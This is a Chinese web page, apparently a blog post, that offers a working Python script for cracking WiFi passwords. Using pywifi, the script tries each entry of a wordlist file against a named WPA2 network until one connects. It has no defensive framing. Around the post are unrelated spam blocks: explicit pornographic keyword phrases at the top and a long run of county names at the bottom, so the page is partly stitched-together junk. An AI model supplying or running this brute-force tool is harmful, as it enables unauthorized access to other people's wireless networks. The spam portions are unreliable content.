五月天青色头像情侣网名,国产亚洲av片在线观看18女人,黑人巨茎大战俄罗斯美女,扒下她的小内裤打屁股

歡迎光臨散文網(wǎng) 會員登陸 & 注冊

基于python的wifi密碼尋找

2023-06-13 01:18 作者:外號不可能是老瞇  | 我要投稿

import pywifi

from pywifi import const

import time

import datetime


tag="czx"

?

?

?

# 測試連接,返回鏈接結(jié)果

def wifiConnect(pwd):

? ? # 抓取網(wǎng)卡接口

? ? wifi = pywifi.PyWiFi()

? ? # 獲取第一個無線網(wǎng)卡

? ? ifaces = wifi.interfaces()[0]

? ? # 斷開所有連接

? ? ifaces.disconnect()

? ? time.sleep(1)

? ? wifistatus = ifaces.status()

? ? if wifistatus == const.IFACE_DISCONNECTED:

? ? ? ? # 創(chuàng)建WiFi連接文件

? ? ? ? profile = pywifi.Profile()

? ? ? ? # 要連接WiFi的名稱

? ? ? ? profile.ssid = tag

? ? ? ? # 網(wǎng)卡的開放狀態(tài)

? ? ? ? profile.auth = const.AUTH_ALG_OPEN

? ? ? ? # wifi加密算法,一般wifi加密算法為wps

? ? ? ? profile.akm.append(const.AKM_TYPE_WPA2PSK)

? ? ? ? # 加密單元

? ? ? ? profile.cipher = const.CIPHER_TYPE_CCMP

? ? ? ? # 調(diào)用密碼

? ? ? ? profile.key = pwd

? ? ? ? # 刪除所有連接過的wifi文件

? ? ? ? ifaces.remove_all_network_profiles()

? ? ? ? # 設(shè)定新的連接文件

? ? ? ? tep_profile = ifaces.add_network_profile(profile)

? ? ? ? ifaces.connect(tep_profile)

? ? ? ? # wifi連接時間

? ? ? ? time.sleep(2)

? ? ? ? if ifaces.status() == const.IFACE_CONNECTED:

? ? ? ? ? ? return True

? ? ? ? else:

? ? ? ? ? ? return False

? ? else:

? ? ? ? print("已有wifi連接")

?

?

?

?

# 讀取密碼本

def readPassword():

? ? success = False

? ? print("****************** WIFI破解 ******************")

? ? # 密碼本路徑

? ? path = "pwd.txt"

? ? # 打開文件

? ? file = open(path, "r")

? ? start = datetime.datetime.now()

? ? while True:

? ? ? ? try:

? ? ? ? ? ? pwd = file.readline()

? ? ? ? ? ? # 去除密碼的末尾換行符

? ? ? ? ? ? pwd = pwd.strip('\n')

? ? ? ? ? ? # 用!表示密碼本用完

? ? ? ? ? ? if (pwd == "!"):

? ? ? ? ? ? ? ? break

? ? ? ? ? ? bool = wifiConnect(pwd)

? ? ? ? ? ? if bool:

? ? ? ? ? ? ? ? print("[*] 密碼已破解:", pwd)

? ? ? ? ? ? ? ? print("[*] WiFi已自動連接?。?!")

? ? ? ? ? ? ? ? success = True

? ? ? ? ? ? ? ? break

? ? ? ? ? ? else:

? ? ? ? ? ? ? ? # 跳出當(dāng)前循環(huán),進(jìn)行下一次循環(huán)

? ? ? ? ? ? ? ? print("正在破解 SSID 為 %s 的 WIFI密碼,當(dāng)前校驗的密碼為:%s"%(tag,pwd))

? ? ? ? except:

? ? ? ? ? ? continue

? ? end = datetime.datetime.now()

? ? if(success):

? ? ? ? print("[*] 本次破解WIFI密碼一共用了多長時間:{}".format(end - start))

? ? else:

? ? ? ? print("[*] 很遺憾未能幫你破解出當(dāng)前指定WIFI的密碼,請更換密碼字典后重新嘗試!")

? ? exit(0)

?

?

?

?

if __name__=="__main__":

? ? readPassword()


基于python的wifi密碼尋找的評論 (共 條)

分享到微博請遵守國家法律
泰顺县| 永春县| 花垣县| 明光市| 江永县| 桐柏县| 阜宁县| 新竹市| 大连市| 城步| 曲麻莱县| 准格尔旗| 许昌市| 托克托县| 定州市| 元氏县| 大兴区| 苗栗县| 宣武区| 伊宁市| 陇南市| 比如县| 潢川县| 宜昌市| 梅州市| 静海县| 西乡县| 绵竹市| 舒城县| 黑水县| 开化县| 东方市| 岫岩| 屯昌县| 阳江市| 关岭| 天峨县| 拉孜县| 荆州市| 永定县| 中江县|